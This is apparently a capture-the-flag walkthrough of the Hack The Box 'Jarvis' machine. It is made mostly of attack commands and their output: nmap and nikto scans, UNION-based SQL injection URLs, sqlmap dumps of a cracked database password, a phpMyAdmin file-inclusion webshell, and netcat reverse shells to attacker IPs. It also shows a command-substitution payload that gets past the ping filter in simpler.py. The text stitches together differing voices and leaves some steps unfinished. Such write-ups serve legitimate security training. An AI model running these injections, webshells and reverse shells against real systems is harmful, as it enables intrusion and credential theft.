┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.143
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Aggressive OS guesses: Linux 3.2 - 4.9 (96%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 3.12 (94%), Linux 3.13 (94%), Linux 3.8 - 3.11 (94%), Linux 4.8 (94%), Linux 4.4 (94%), Linux 4.9 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.00 seconds
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.143
68/udp open|filtered dhcpc
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1009.05 seconds
Enumeration: HTTP Port 80/tcp
WAPP
Miscellaneous
- Open Graph
Web servers
- Apache HTTP Server 2.4.25
Programming languages
- PHP
Operating systems
- Debian
JavaScript libraries
- jQuery 2.1.4
- Modernizr 2.6.2
- OWL Carousel
UI frameworks
- Bootstrap 3.3.5
Retire.js
jquery 2.1.4 Found in http://10.10.10.143/js/jquery.min.js - Vulnerability info:
medium 3rd party CORS request may execute 2432 CVE-2015-9251 GHSA-rmxg-73gg-4p98 123456
low jQuery 1.x and 2.x are End-of-Life and no longer receiving security updates 73 1
medium 3rd party CORS request may execute 2432 CVE-2015-9251 GHSA-rmxg-73gg-4p98 123456
medium jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution CVE-2019-11358 4333 GHSA-6c3j-c64m-qhgq 123
medium passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. CVE-2020-11023 4647 GHSA-jpcq-cgw6-v4j6 1
medium Regex in its jQuery.htmlPrefilter sometimes may introduce XSS CVE-2020-11022 4642 GHSA-gxr4-xjj5-5px2
http://10.10.10.143/
Contact Information:
291 South 21th Street, Suite 721 New York NY 10016
1235 2355 98
supersecurehotel@logger.htb
supersecurehotel.htb
┌──(kali💀kali)-[~/Desktop]
└─$ nikto -h http://10.10.10.143/
+ Server: Apache/2.4.25 (Debian)
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Uncommon header 'ironwaf' found, with contents: 2.0.3.
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.0.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 1.
+ /phpmyadmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /phpmyadmin/: phpMyAdmin directory found.
+ /phpmyadmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. See: https://typo3.org/
+ 8051 requests: 1 error(s) and 15 item(s) reported on remote host
+ End Time: 2024-01-10 23:38:42 (GMT-5) (6031 seconds)
I can work through this Injection manually. I’ll start by checking for a UNION injection. I’ll set cod=100 (something that returns nothing), and then add the union. I’ll start with http://10.10.10.143/room.php?cod=100 UNION SELECT 1;-- -. When that return nothing, I’ll change the SELECT to SELECT 1,2. Then 1,2,3. When I get to http://10.10.10.143/room.php?cod=100 UNION SELECT 1,2,3,4,5,6,7;-- -, parts of the page populate again:
http://10.10.10.143/room.php?cod=100 UNION SELECT 1,2,3,4,5,6,7;-- -
I can compare that to a legit cod=1:
List DBs:
http://10.10.10.143/room.php?cod=100 UNION SELECT 1, group_concat(schema_name), 3, 4, 5, 6, 7 from information_schema.schemata;-- -
hotel,information_schema,mysql,performance_schema
Show Tables in hotel:
http://10.10.10.143/room.php?cod=100 UNION SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='hotel' ;-- -
room
Show Columns in room:
http://10.10.10.143/room.php?cod=100 UNION SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='room';-- -
cod,name,price,descrip,star,image,mini
Show Tables in mysql:
http://10.10.10.143/room.php?cod=100 UNION SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='mysql' ;-- -
column_stats,columns_priv,db,event,func,general_log,gtid_slave_pos,help_category,help_keyword,help_relation,help_topic,host,index_stats,innodb_index_stats,innodb_table_stats,plugin,proc,procs_priv,proxies_priv,roles_mapping,servers,slow_log,table_stats,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,user
Show Columns in user:
http://10.10.10.143/room.php?cod=100 UNION SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='user';-- -
Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Trigger_priv,Create_tablespace_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,is_role,default_role,max_statement_time
Get Username / Password:
http://10.10.10.143/room.php?cod=100 UNION SELECT 1, user,3, 4,password, 6, 7 from mysql.user;-- -
DBadmin
*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
A hashes.org search gives the password:
https://hashes.org/search.php
MYSQL5 2d2b7a5e4e637b8fba1d17f40318f277d29964d0:imissyou
That username / password will get into the phpmyadmin site
The LFI is because there is an inconsistency in how %3f is handled in the security check and the include. I can visit http://10.10.10.143/phpmyadmin/index.php?target=db_sql.php%3f/../../../../etc/passwd and see the include works:
Now it’s just a matter of getting some php code I want to run on the site. I can do that by issuing a SQL query, and then including my php session info.
I’ll click on the “SQL” tab at the top, and enter the query:
SELECT '<?php system($_GET["cmd"]);?>'
Now, I’ll include my php session info. I’ll check burp to grab my phpMyAdmin cookie, and visit: http://10.10.10.143/phpmyadmin/index.php?cmd=id&target=db_sql.php%3f/../../../../../var/lib/php/sessions/sess_e3qctegac4saf72rocbl1541j26u7mqm:
Now I can get a shell changing cmd=id to cmd=nc -e /bin/sh 10.10.14.8 443:
It seems that IronWAF isn’t perfect against sqlmap. I got it to work sometimes. But with a bit of tweaking, I could get it to work reliably. The options I’ll use are --random-agent to mess with the user agent string, and low level and risk.
┌──(kali💀kali)-[~/Desktop]
└─$ sqlmap -u http://10.10.10.143:80/room.php?cod=1 --random-agent --level 1 --risk 1 --batch
[23:53:33] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1)' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[23:53:34] [INFO] resuming back-end DBMS 'mysql'
[23:53:34] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=5gjiq74q8qe...jmha2tg3v6'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 2976=2976
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=1 AND (SELECT 7910 FROM (SELECT(SLEEP(5)))VvsD)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-5480 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x587477734c4f46785168545a504e4e68576e4f74575862746e59626a6d757251525a634f63656347,0x717a7a6271),NULL,NULL-- -
[23:53:35] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[23:53:35] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.10.143'
I can use this to dump the sql username and password:
┌──(kali💀kali)-[~/Desktop]
└─$ sqlmap -u http://10.10.10.143:80/room.php?cod=1 --random-agent --level 1 --risk 1 --batch --users --passwords
[23:55:31] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Macintosh; U; PPC Mac OS; pl-pl) AppleWebKit/412 (KHTML, like Gecko) Safari/412' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[23:55:31] [INFO] resuming back-end DBMS 'mysql'
[23:55:31] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=3tnrtjfq8pd...ksatsltv54'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 2976=2976
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=1 AND (SELECT 7910 FROM (SELECT(SLEEP(5)))VvsD)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-5480 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x587477734c4f46785168545a504e4e68576e4f74575862746e59626a6d757251525a634f63656347,0x717a7a6271),NULL,NULL-- -
---
[23:55:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[23:55:33] [INFO] fetching database users
[23:55:36] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:37] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:38] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:40] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:41] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:42] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:43] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:43] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:44] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:45] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:45] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:46] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:47] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:48] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:49] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:50] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:50] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:51] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:52] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:53] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:53] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:54] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:55] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:56] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:56] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:57] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:58] [INFO] retrieved: ''DBadmin'@'localhost''
[23:55:59] [INFO] retrieved: ''DBadmin'@'localhost''
database management system users [1]:
[*] 'DBadmin'@'localhost'
[23:55:59] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] Y
[23:56:03] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[23:56:03] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[23:56:03] [INFO] starting dictionary-based cracking (mysql_passwd)
[23:56:03] [INFO] starting 2 processes
[23:56:12] [INFO] cracked password 'imissyou' for user 'DBadmin'
database management system users password hashes:
[*] DBadmin [1]:
password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
clear-text password: imissyou
I can use that to do the same phpmyadmin attack as shown above. But I can also use it to write a webshell:
Upon substituting the room’s number with either a quote ( ‘ ) or a comment (--), we observed a 404 response. Consequently, we initiated SQL injection testing on the target using the sqlmap tool, with a shell scan option (--os-shell) as a precautionary measure to potentially gain a shell.
And we have a shell, let’s check what privileges we have here.
www-data@jarvis:/var/www/html$ sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
And we can can run /var/www/Admin-Utilities/simpler.py as pepper . Let’s have a look at the content of the simpler.py script.
www-data@jarvis:/var/www/html$ cd /var/www/Admin-Utilities/
www-data@jarvis:/var/www/Admin-Utilities$ cat simpler.py
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re
def show_help():
message='''
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
'''
print(message)
def show_header():
print('''***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
''')
def show_statistics():
path = '/home/pepper/Web/Logs/'
print('Statistics\n-----------')
listed_files = listdir(path)
count = len(listed_files)
print('Number of Attackers: ' + str(count))
level_1 = 0
dat = datetime(1, 1, 1)
ip_list = []
reks = []
ip = ''
req = ''
rek = ''
for i in listed_files:
f = open(path + i, 'r')
lines = f.readlines()
level2, rek = get_max_level(lines)
fecha, requ = date_to_num(lines)
ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if int(level2) > int(level_1):
level_1 = level2
ip_list = [ip]
reks=[rek]
elif int(level2) == int(level_1):
ip_list.append(ip)
reks.append(rek)
f.close()
print('Most Risky:')
if len(ip_list) > 1:
print('More than 1 ip found')
cont = 0
for i in ip_list:
print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1
print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)
def list_ip():
print('Attackers\n-----------')
path = '/home/pepper/Web/Logs/'
listed_files = listdir(path)
for i in listed_files:
f = open(path + i,'r')
lines = f.readlines()
level,req = get_max_level(lines)
print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
f.close()
def date_to_num(lines):
dat = datetime(1,1,1)
ip = ''
req=''
for i in lines:
if 'Level' in i:
fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
regex = '(\d+)-(.*)-(\d+)(.*)'
logEx=re.match(regex, fecha).groups()
mes = to_dict(logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
if fecha > dat:
dat = fecha
req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
return dat, req
def to_dict(name):
month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
return month_dict[name]
def get_max_level(lines):
level=0
for j in lines:
if 'Level' in j:
if int(j.split(' ')[4]) > int(level):
level = j.split(' ')[4]
req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
return level, req
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
if __name__ == '__main__':
show_header()
if len(sys.argv) != 2:
show_help()
exit()
if sys.argv[1] == '-h' or sys.argv[1] == '--help':
show_help()
exit()
elif sys.argv[1] == '-s':
show_statistics()
exit()
elif sys.argv[1] == '-l':
list_ip()
exit()
elif sys.argv[1] == '-p':
exec_ping()
exit()
else:
show_help()
exit()
cd /tmp
www-data@jarvis:/tmp$ echo -e '#!/bin/bash\n\nnc -e /bin/bash 10.10.16.4 443' > /tmp/d.sh
www-data@jarvis:/tmp$ chmod +x /tmp/d.sh
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
Enter an IP: $(/tmp/d.sh)
To view the root.txt flag, we need to escalate our privileges to root. Let’s transfer the LinEnum script from our attack machine to the target machine.
In the attack machine, start up a server in the same directory that the script resides in.
The systemctl binary has the setuid bit set and it’s owned by root. We can use that to our advantage and escalate to root privileges. If you’re not sure how to do that, you can search the binary name on GTFO bins and check how the suid bit can be used to escalate privileges.